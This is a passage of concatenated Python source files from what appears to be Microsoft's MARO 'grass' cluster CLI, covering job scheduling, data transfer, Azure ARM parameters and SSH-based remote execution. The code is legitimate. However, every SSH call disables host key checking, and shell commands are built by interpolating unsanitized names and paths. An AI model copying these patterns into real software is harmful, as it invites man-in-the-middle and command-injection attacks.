_load_image(self, node_name: str, parallels: int, node_ip_address: str): self.grass_executor.remote_load_images( node_name=node_name, parallels=parallels, node_ip_address=node_ip_address ) def _check_checksum_validity(self, local_file_path: str, remote_file_path: str) -> bool: local_checksum = get_checksum(file_path=local_file_path) remote_checksum = self.grass_executor.remote_get_checksum( file_path=remote_file_path ) return local_checksum == remote_checksum # maro grass data def push_data(self, local_path: str, remote_path: str): # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] if not remote_path.startswith("/"): raise FileOperationError(f"Invalid remote path: {remote_path}\nShould be started with '/'.") copy_files_to_node( local_path=local_path, remote_dir=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data{remote_path}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) def pull_data(self, local_path: str, remote_path: str): # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] if not remote_path.startswith("/"): raise FileOperationError(f"Invalid remote path: {remote_path}\nShould be started with '/'.") copy_files_from_node( local_dir=local_path, remote_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data{remote_path}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) # maro grass job def start_job(self, deployment_path: str): # Load start_job_deployment with open(deployment_path, "r") as fr: start_job_deployment = yaml.safe_load(fr) # Standardize start_job_deployment self._standardize_start_job_deployment(start_job_deployment=start_job_deployment) # Start job self._start_job( job_details=start_job_deployment ) def _start_job(self, job_details: dict): logger.info(f"Start sending job ticket {job_details['name']}") # Load details admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] job_name = job_details["name"] # Sync mkdir self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs/{job_name}", node_ip_address=master_public_ip_address ) # Save job deployment save_job_details( cluster_name=self.cluster_name, job_name=job_name, job_details=job_details ) # Set job id self._set_job_id( job_name=job_name ) # Sync job details to master copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs/{job_name}/details.yml", remote_dir=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs/{job_name}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) # Remote start job self.grass_executor.remote_create_job_details(job_name=job_name) self.grass_executor.remote_create_pending_job_ticket(job_name=job_name) logger.info_green(f"Job ticket {job_details['name']} is sent") def stop_job(self, job_name: str): # Remote stop job self.grass_executor.remote_create_killed_job_ticket(job_name=job_name) self.grass_executor.remote_delete_pending_job_ticket(job_name=job_name) def list_job(self): # Get jobs details jobs_details = self.grass_executor.remote_get_jobs_details() # Print details logger.info( json.dumps( jobs_details, indent=4, sort_keys=True ) ) def get_job_logs(self, job_name: str, export_dir: str = "./"): # Load details job_details = load_job_details( cluster_name=self.cluster_name, job_name=job_name ) admin_username = self.cluster_details["user"]["admin_username"] master_public_ip_address = self.cluster_details["master"]["public_ip_address"] ssh_port = self.cluster_details["connection"]["ssh"]["port"] job_id = job_details["id"] # Copy logs from master try: copy_files_from_node( local_dir=export_dir, remote_path=f"~/.maro/logs/{job_id}", admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) except CommandExecutionError: logger.error_red("No logs have been created at this time.") @staticmethod def _standardize_start_job_deployment(start_job_deployment: dict): # Validate grass_azure_start_job optional_key_to_value = { "root['tags']": {} } with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/grass_azure_start_job.yml") as fr: start_job_template = yaml.safe_load(fr) validate_and_fill_dict( template_dict=start_job_template, actual_dict=start_job_deployment, optional_key_to_value=optional_key_to_value ) # Validate component with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/component.yml", "r") as fr: start_job_component_template = yaml.safe_load(fr) components_details = start_job_deployment["components"] for _, component_details in components_details.items(): validate_and_fill_dict( template_dict=start_job_component_template, actual_dict=component_details, optional_key_to_value={} ) def _set_job_id(self, job_name: str): # Load details job_details = load_job_details(cluster_name=self.cluster_name, job_name=job_name) # Set cluster id job_details["id"] = generate_job_id() # Set component id for component, component_details in job_details["components"].items(): component_details["id"] = generate_component_id() # Save details save_job_details( cluster_name=self.cluster_name, job_name=job_name, job_details=job_details ) # maro grass schedule def start_schedule(self, deployment_path: str): # Load start_schedule_deployment with open(deployment_path, "r") as fr: start_schedule_deployment = yaml.safe_load(fr) # Standardize start_schedule_deployment self._standardize_start_schedule_deployment(start_schedule_deployment=start_schedule_deployment) schedule_name = start_schedule_deployment["name"] # Load details master_public_ip_address = self.cluster_details["master"]["public_ip_address"] # Sync mkdir self._sync_mkdir( path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/schedules/{schedule_name}", node_ip_address=master_public_ip_address ) # Save schedule deployment save_schedule_details( cluster_name=self.cluster_name, schedule_name=schedule_name, schedule_details=start_schedule_deployment ) # Start jobs for job_name in start_schedule_deployment["job_names"]: job_details = self._build_job_details( schedule_details=start_schedule_deployment, job_name=job_name ) self._start_job( job_details=job_details ) def stop_schedule(self, schedule_name: str): # Load details schedule_details = load_schedule_details(cluster_name=self.cluster_name, schedule_name=schedule_name) job_names = schedule_details["job_names"] for job_name in job_names: # Load job details job_details = load_job_details(cluster_name=self.cluster_name, job_name=job_name) job_schedule_tag = job_details["tags"]["schedule"] # Remote stop job if job_schedule_tag == schedule_name: self.grass_executor.remote_create_killed_job_ticket(job_name=job_name) self.grass_executor.remote_delete_pending_job_ticket(job_name=job_name) @staticmethod def _standardize_start_schedule_deployment(start_schedule_deployment: dict): # Validate grass_azure_start_job with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/grass_azure_start_schedule.yml") as fr: start_job_template = yaml.safe_load(fr) validate_and_fill_dict( template_dict=start_job_template, actual_dict=start_schedule_deployment, optional_key_to_value={} ) # Validate component with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/deployments/internal/component.yml") as fr: start_job_component_template = yaml.safe_load(fr) components_details = start_schedule_deployment["components"] for _, component_details in components_details.items(): validate_and_fill_dict( template_dict=start_job_component_template, actual_dict=component_details, optional_key_to_value={} ) @staticmethod def _build_job_details(schedule_details: dict, job_name: str) -> dict: schedule_name = schedule_details["name"] job_details = deepcopy(schedule_details) job_details["name"] = job_name job_details["tags"] = { "schedule": schedule_name } job_details.pop("job_names") return job_details # maro grass clean def clean(self): # TODO add clean redis # Remote clean self.grass_executor.remote_clean(parallels=GlobalParams.PARALLELS) # maro grass status def status(self, resource_name: str): if resource_name == "master": return_status = self.grass_executor.remote_get_master_details() elif resource_name == "nodes": return_status = self.grass_executor.remote_get_nodes_details() elif resource_name == "containers": return_status = self.grass_executor.remote_get_containers_details() else: raise BadRequestError(f"Resource '{resource_name}' is unsupported.") # Print status logger.info( json.dumps( return_status, indent=4, sort_keys=True ) ) # maro grass template @staticmethod def template(export_path: str): # Get templates command = f"cp {GlobalPaths.MARO_GRASS_LIB}/deployments/external/* {export_path}" _ = SubProcess.run(command) # Utils def _delete_resources(self, resource_name: str): # Get params cluster_id = self.cluster_details["id"] resource_group = self.cluster_details["cloud"]["resource_group"] # Get resource list resource_list = AzureExecutor.list_resources(resource_group=resource_group) # Filter resources deletable_ids = [] for resource_info in resource_list: if resource_info["name"].startswith(f"{cluster_id}-{resource_name}"): deletable_ids.append(resource_info["id"]) # Delete resources if len(deletable_ids) > 0: AzureExecutor.delete_resources(resources=deletable_ids) def _sync_mkdir(self, path: str, node_ip_address: str): """Mkdir synchronously at local and remote. Args: path (str): path of the file, should be a string with an initial component of ~ or ~user node_ip_address (str): ip address of the remote node """ # Create local dir os.makedirs(os.path.expanduser(path), exist_ok=True) # Create remote dir self.grass_executor.remote_mkdir(node_ip_address=node_ip_address, path=path) class ArmTemplateParameterBuilder: @staticmethod def create_vnet(cluster_details: dict, export_path: str) -> dict: # Get params cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_vnet/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters @staticmethod def create_master(cluster_details: dict, node_size: str, export_path: str) -> dict: # Get params resource_name = "master" cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] admin_username = cluster_details["user"]["admin_username"] admin_public_key = cluster_details["user"]["admin_public_key"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_master/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["networkInterfaceName"]["value"] = f"{cluster_id}-{resource_name}-nic" parameters["networkSecurityGroupName"]["value"] = f"{cluster_id}-{resource_name}-nsg" parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" parameters["publicIpAddressName"]["value"] = f"{cluster_id}-{resource_name}-pip" parameters["virtualMachineName"]["value"] = f"{cluster_id}-{resource_name}-vm" parameters["virtualMachineSize"]["value"] = node_size parameters["adminUsername"]["value"] = admin_username parameters["adminPublicKey"]["value"] = admin_public_key parameters["sshDestinationPort"]["value"] = f"{ssh_port}" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters @staticmethod def create_build_node_image_vm(cluster_details: dict, node_size: str, export_path: str) -> dict: # Get params resource_name = "build-node-image" cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] admin_username = cluster_details["user"]["admin_username"] admin_public_key = cluster_details["user"]["admin_public_key"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_build_node_image_vm/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["networkInterfaceName"]["value"] = f"{cluster_id}-{resource_name}-nic" parameters["networkSecurityGroupName"]["value"] = f"{cluster_id}-{resource_name}-nsg" parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" parameters["publicIpAddressName"]["value"] = f"{cluster_id}-{resource_name}-pip" parameters["virtualMachineName"]["value"] = f"{cluster_id}-{resource_name}-vm" parameters["virtualMachineSize"]["value"] = node_size parameters["adminUsername"]["value"] = admin_username parameters["adminPublicKey"]["value"] = admin_public_key parameters["sshDestinationPort"]["value"] = f"{ssh_port}" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters @staticmethod def create_node( node_name: str, cluster_details: dict, node_size: str, image_resource_id: str, export_path: str ) -> dict: # Extract variables resource_name = node_name cluster_id = cluster_details["id"] location = cluster_details["cloud"]["location"] admin_username = cluster_details["user"]["admin_username"] admin_public_key = cluster_details["user"]["admin_public_key"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Load and update parameters with open(f"{GlobalPaths.ABS_MARO_GRASS_LIB}/azure/create_node/parameters.json", "r") as f: base_parameters = json.load(f) parameters = base_parameters["parameters"] parameters["location"]["value"] = location parameters["networkInterfaceName"]["value"] = f"{cluster_id}-{resource_name}-nic" parameters["networkSecurityGroupName"]["value"] = f"{cluster_id}-{resource_name}-nsg" parameters["virtualNetworkName"]["value"] = f"{cluster_id}-vnet" parameters["publicIpAddressName"]["value"] = f"{cluster_id}-{resource_name}-pip" parameters["virtualMachineName"]["value"] = f"{cluster_id}-{resource_name}-vm" parameters["virtualMachineSize"]["value"] = node_size parameters["imageResourceId"]["value"] = image_resource_id parameters["adminUsername"]["value"] = admin_username parameters["adminPublicKey"]["value"] = admin_public_key parameters["sshDestinationPort"]["value"] = f"{ssh_port}" # Export parameters if the path is set if export_path: os.makedirs(os.path.dirname(export_path), exist_ok=True) with open(export_path, "w") as fw: json.dump(base_parameters, fw, indent=4) return base_parameters --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import base64 import json import time from subprocess import TimeoutExpired from maro.cli.utils.params import GlobalPaths from maro.cli.utils.subprocess import SubProcess from maro.utils.exception.cli_exception import CliError, ClusterInternalError from maro.utils.logger import CliLogger logger = CliLogger(name=__name__) class GrassExecutor: def __init__(self, cluster_details: dict): self.cluster_details = cluster_details self.cluster_name = cluster_details["name"] self.admin_username = self.cluster_details["user"]["admin_username"] self.ssh_port = self.cluster_details["connection"]["ssh"]["port"] def remote_build_image(self, remote_context_path: str, remote_image_name: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.build_image " f"{self.cluster_name} {remote_context_path} {remote_image_name}'" ) _ = SubProcess.run(command) def remote_clean(self, parallels: int): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.clean {self.cluster_name} {parallels}'" ) _ = SubProcess.run(command) def remote_get_checksum(self, file_path: str) -> str: command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.get_checksum {file_path}'" ) return_str = SubProcess.run(command) return return_str def remote_get_jobs_details(self): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.get_jobs_details {self.cluster_name}'" ) return_str = SubProcess.run(command) return json.loads(return_str) def remote_get_master_details(self): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.get_master_details {self.cluster_name}'" ) return_str = SubProcess.run(command) return json.loads(return_str) def remote_get_node_details(self, node_name: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.get_node_details {self.cluster_name} {node_name}'" ) return_str = SubProcess.run(command) return json.loads(return_str) def remote_get_nodes_details(self): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.get_nodes_details {self.cluster_name}'" ) return_str = SubProcess.run(command) return json.loads(return_str) def remote_get_containers_details(self): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.get_containers_details {self.cluster_name}'" ) return_str = SubProcess.run(command) return json.loads(return_str) def remote_get_public_key(self, node_ip_address: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} {self.admin_username}@{node_ip_address} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.get_public_key'" ) return_str = SubProcess.run(command).strip("\n") logger.debug(return_str) return return_str def remote_init_build_node_image_vm(self, vm_ip_address: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} {self.admin_username}@{vm_ip_address} " "'python3 ~/init_build_node_image_vm.py'" ) SubProcess.interactive_run(command) def remote_init_master(self): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.init_master {self.cluster_name}'" ) SubProcess.interactive_run(command) def remote_init_node(self, node_name: str, node_ip_address: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} {self.admin_username}@{node_ip_address} " f"'python3 ~/init_node.py {self.cluster_name} {node_name}'" ) SubProcess.interactive_run(command) def remote_mkdir(self, node_ip_address: str, path: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} {self.admin_username}@{node_ip_address} " f"'mkdir -p {path}'" ) SubProcess.run(command) def remote_load_images(self, node_name: str, parallels: int, node_ip_address: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} {self.admin_username}@{node_ip_address} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.load_images " f"{self.cluster_name} {node_name} {parallels}'" ) SubProcess.interactive_run(command) def remote_load_master_agent_service(self): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.load_master_agent_service {self.cluster_name}'" ) _ = SubProcess.run(command) def remote_load_node_agent_service(self, node_name: str, node_ip_address: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} {self.admin_username}@{node_ip_address} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.load_node_agent_service " f"{self.cluster_name} {node_name}'" ) _ = SubProcess.run(command) def remote_create_pending_job_ticket(self, job_name: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.create_pending_job_ticket " f"{self.cluster_name} {job_name}'" ) _ = SubProcess.run(command) def remote_create_job_details(self, job_name: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.create_job_details " f"{self.cluster_name} {job_name}'" ) _ = SubProcess.run(command) def remote_create_killed_job_ticket(self, job_name: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.create_killed_job_ticket " f"{self.cluster_name} {job_name}'" ) _ = SubProcess.run(command) def remote_delete_pending_job_ticket(self, job_name: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.delete_pending_job_ticket " f"{self.cluster_name} {job_name}'" ) _ = SubProcess.run(command) def remote_set_master_details(self, master_details: dict): master_details_b64 = base64.b64encode(json.dumps(master_details).encode("utf8")).decode('utf8') command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.set_master_details " f"{self.cluster_name} {master_details_b64}'" ) _ = SubProcess.run(command) def remote_set_node_details(self, node_name: str, node_details: dict): node_details_b64 = base64.b64encode(json.dumps(node_details).encode("utf8")).decode('utf8') command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.set_node_details " f"{self.cluster_name} {node_name} {node_details_b64}'" ) _ = SubProcess.run(command) def remote_update_image_files_details(self): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.update_image_files_details " f"{self.cluster_name}'" ) _ = SubProcess.run(command) def remote_update_node_status(self, node_name: str, action: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.update_node_status " f"{self.cluster_name} {node_name} {action}'" ) _ = SubProcess.run(command) def test_ssh_22_connection(self, node_ip_address: str): command = ( f"ssh -o StrictHostKeyChecking=no {self.admin_username}@{node_ip_address} " "echo 'Connection established'" ) _ = SubProcess.run(command=command, timeout=5) def test_ssh_default_port_connection(self, node_ip_address: str): command = ( f"ssh -o StrictHostKeyChecking=no -p {self.ssh_port} {self.admin_username}@{node_ip_address} " "echo 'Connection established'" ) _ = SubProcess.run(command=command, timeout=5) def remote_set_ssh_port(self, node_ip_address: str): # Don't have to do the setting if it is assigned 22 if self.ssh_port == 22: return # Set ssh port. command = ( f"ssh -o StrictHostKeyChecking=no {self.admin_username}@{node_ip_address} " f"'echo -e \"Port {self.ssh_port}\nPort 22\" | sudo tee -a /etc/ssh/sshd_config'" ) _ = SubProcess.run(command) # Restart sshd service. command = ( f"ssh -o StrictHostKeyChecking=no {self.admin_username}@{node_ip_address} " "'sudo systemctl restart ssh'" ) _ = SubProcess.run(command) def retry_connection_and_set_ssh_port(self, node_ip_address: str) -> bool: remain_retries = 20 while remain_retries > 0: try: self.test_ssh_default_port_connection(node_ip_address=node_ip_address) return True except (CliError, TimeoutExpired): remain_retries -= 1 logger.debug( f"Unable to connect to {node_ip_address} with port {self.ssh_port}, " f"remains {remain_retries} retries." ) try: self.test_ssh_22_connection(node_ip_address=node_ip_address) self.remote_set_ssh_port(node_ip_address=node_ip_address) return True except (CliError, TimeoutExpired): remain_retries -= 1 logger.debug( f"Unable to connect to {node_ip_address} with port 22, remains {remain_retries} retries." ) time.sleep(10) raise ClusterInternalError(f"Unable to connect to {node_ip_address}.") # Create a new user account on target OS. @staticmethod def remote_add_user_to_node(admin_username: str, maro_user: str, node_ip_address: str, pubkey: str): # The admin_user is an already exist account which has privileges to create new account on target OS. command = ( f"ssh {admin_username}@{node_ip_address} 'sudo python3 ~/create_user.py {maro_user} \"{pubkey}\"'" ) _ = SubProcess.run(command) # Delete maro cluster user account on target OS. @staticmethod def remote_delete_user_from_node(admin_username: str, delete_user: str, node_ip_address: str): # The admin_user is an already exist account which has privileges to create new account on target OS. command = ( f"ssh {admin_username}@{node_ip_address} 'sudo python3 ~/delete_user.py {delete_user}'" ) _ = SubProcess.run(command) def delete_master_details(self, cluster_name: str): command = ( "ssh -o StrictHostKeyChecking=no " f"{self.admin_username}@{self.cluster_details['master']['public_ip_address']} " f"'cd {GlobalPaths.MARO_GRASS_LIB}; python3 -m scripts.delete_master_details " f"{self.cluster_name} '" ) _ = SubProcess.run(command) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import secrets import string from shutil import rmtree import yaml from maro.cli.grass.executors.grass_executor import GrassExecutor from maro.cli.grass.utils.copy import copy_files_to_node from maro.cli.utils.details import (load_cluster_details, save_cluster_details) from maro.cli.utils.naming import generate_cluster_id from maro.cli.utils.params import GlobalParams, GlobalPaths from maro.cli.utils.validation import validate_and_fill_dict from maro.utils.exception.cli_exception import CliError from maro.utils.logger import CliLogger logger = CliLogger(name=__name__) class GrassOnPremisesExecutor: def __init__(self, cluster_name: str): self.cluster_name = cluster_name self.cluster_details = load_cluster_details(cluster_name=cluster_name) self.grass_executor = GrassExecutor(cluster_details=self.cluster_details) @staticmethod def build_cluster_details(create_deployment: dict): # Standardize create deployment GrassOnPremisesExecutor._standardize_create_deployment(create_deployment=create_deployment) # Create user account logger.info("Now is going to create an user account for maro cluster node.") if "super_user" in create_deployment["user"]: super_user = create_deployment["user"]["super_user"] else: super_user = "" GrassOnPremisesExecutor.create_user( admin_username=super_user, maro_user=create_deployment["user"]["admin_username"], ip_address=create_deployment["master"]["public_ip_address"], pubkey=create_deployment["user"]["admin_public_key"], ssh_port=create_deployment["connection"]["ssh"]["port"] ) # Get cluster name and save details cluster_name = create_deployment["name"] if os.path.isdir(os.path.expanduser(f"{GlobalPaths.MARO_CLUSTERS}/{cluster_name}")): raise CliError(f"Cluster {cluster_name} already exist.") os.makedirs(os.path.expanduser(f"{GlobalPaths.MARO_CLUSTERS}/{cluster_name}")) save_cluster_details( cluster_name=cluster_name, cluster_details=create_deployment ) @staticmethod def _standardize_create_deployment(create_deployment: dict): alphabet = string.ascii_letters + string.digits optional_key_to_value = { "root['master']['redis']": {'port': 6379}, "root['master']['redis']['port']": 6379, "root['master']['fluentd']": {'port': 24224}, "root['master']['fluentd']['port']": 24224, "root['master']['samba']": {'password': ''.join(secrets.choice(alphabet) for _ in range(20))}, "root['master']['samba']['password']": ''.join(secrets.choice(alphabet) for _ in range(20)), "root['connection']": {"ssh": {"port": GlobalParams.DEFAULT_SSH_PORT}}, "root['connection']['ssh']": {"port": GlobalParams.DEFAULT_SSH_PORT}, "root['connection']['ssh']['port']": GlobalParams.DEFAULT_SSH_PORT } with open( os.path.expanduser( f"{GlobalPaths.MARO_GRASS_LIB}/deployments/internal/grass-on-premises-create.yml")) as fr: create_deployment_template = yaml.safe_load(fr) validate_and_fill_dict( template_dict=create_deployment_template, actual_dict=create_deployment, optional_key_to_value=optional_key_to_value ) def create(self): logger.info("Creating cluster") # Start creating try: self._set_cluster_id() self._set_master_info() self._init_master() except Exception as e: # If failed, remove details folder, then raise rmtree(os.path.expanduser(f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}")) raise CliError(f"Failure to create cluster, due to {e}") logger.info_green(f"Cluster {self.cluster_name} has been created.") def _set_cluster_id(self): # Load details cluster_details = self.cluster_details # Set cluster id cluster_details["id"] = generate_cluster_id() # Save details save_cluster_details( cluster_name=self.cluster_name, cluster_details=cluster_details ) def _create_path_in_list(self, target_ip: str, path_list): for path_to_create in path_list: self.grass_executor.remote_mkdir( path=path_to_create, node_ip_address=target_ip ) def _set_master_info(self): # Load details cluster_details = self.cluster_details cluster_id = cluster_details["id"] master_details = cluster_details["master"] hostname = cluster_details["master"]["public_ip_address"] master_details["private_ip_address"] = cluster_details["master"]["public_ip_address"] master_details["hostname"] = hostname master_details["resource_name"] = f"{cluster_id}-master-vm" admin_username = cluster_details["user"]["admin_username"] public_ip_address = cluster_details["master"]["public_ip_address"] logger.info_green(f"You can login to your master node with: ssh {admin_username}@{public_ip_address}") def _init_master(self): logger.info("Initializing master node") # Load details cluster_details = self.cluster_details master_details = cluster_details["master"] admin_username = cluster_details["user"]["admin_username"] master_public_ip_address = cluster_details["master"]["public_ip_address"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Make sure master is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=master_public_ip_address) # Create folders path_list = { GlobalPaths.MARO_GRASS_LIB, f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/images", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/schedules" } self._create_path_in_list(master_public_ip_address, path_list) # Copy required files copy_files_to_node( local_path=GlobalPaths.MARO_GRASS_LIB, remote_dir=GlobalPaths.MARO_LIB, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", remote_dir=GlobalPaths.MARO_CLUSTERS, admin_username=admin_username, node_ip_address=master_public_ip_address, ssh_port=ssh_port ) # Get public key public_key = self.grass_executor.remote_get_public_key(node_ip_address=master_public_ip_address) # Remote init master self.grass_executor.remote_init_master() # Load master agent service self.grass_executor.remote_load_master_agent_service() # Save details master_details["public_key"] = public_key save_cluster_details( cluster_name=self.cluster_name, cluster_details=cluster_details ) self.grass_executor.remote_set_master_details(master_details=cluster_details["master"]) logger.info_green("Master node is initialized") def delete(self): # Load details cluster_name = self.cluster_name logger.info(f"Deleting cluster {cluster_name}") # Delete redis and other services node_details_list = self.grass_executor.remote_get_nodes_details() for node_name, node_details in node_details_list.items(): self.node_leave_cluster(node_name) # Delete cluster folder rmtree(os.path.expanduser(f"{GlobalPaths.MARO_CLUSTERS}/{cluster_name}")) self.grass_executor.remote_clean(1) self.grass_executor.delete_master_details(cluster_name) logger.info_green(f"The cluster {cluster_name} has been deleted.") def node_join_cluster(self, node_join_info: dict): node_name = node_join_info["name"] cluster_details = self.cluster_details node_ip_address = node_join_info["public_ip_address"] # Create user account logger.info(f"Now is going to create an user account for maro working node {node_name}.") if "super_user" in node_join_info: super_user = node_join_info["super_user"] else: super_user = "" GrassOnPremisesExecutor.create_user( admin_username=super_user, maro_user=cluster_details["user"]["admin_username"], ip_address=node_ip_address, pubkey=cluster_details["user"]["admin_public_key"], ssh_port=cluster_details["connection"]["ssh"]["port"] ) self._create_node_data(node_join_info) self._init_node(node_name) def _create_node_data(self, node_join_info: dict): # Load details cluster_details = self.cluster_details cluster_id = cluster_details["id"] node_name = node_join_info["name"] node_ip_address = node_join_info["public_ip_address"] # Get resources cpu = node_join_info["resources"]["cpu"] memory = node_join_info["resources"]["memory"] gpu = node_join_info["resources"]["gpu"] # Save details node_details = { "public_ip_address": node_ip_address, "private_ip_address": node_ip_address, 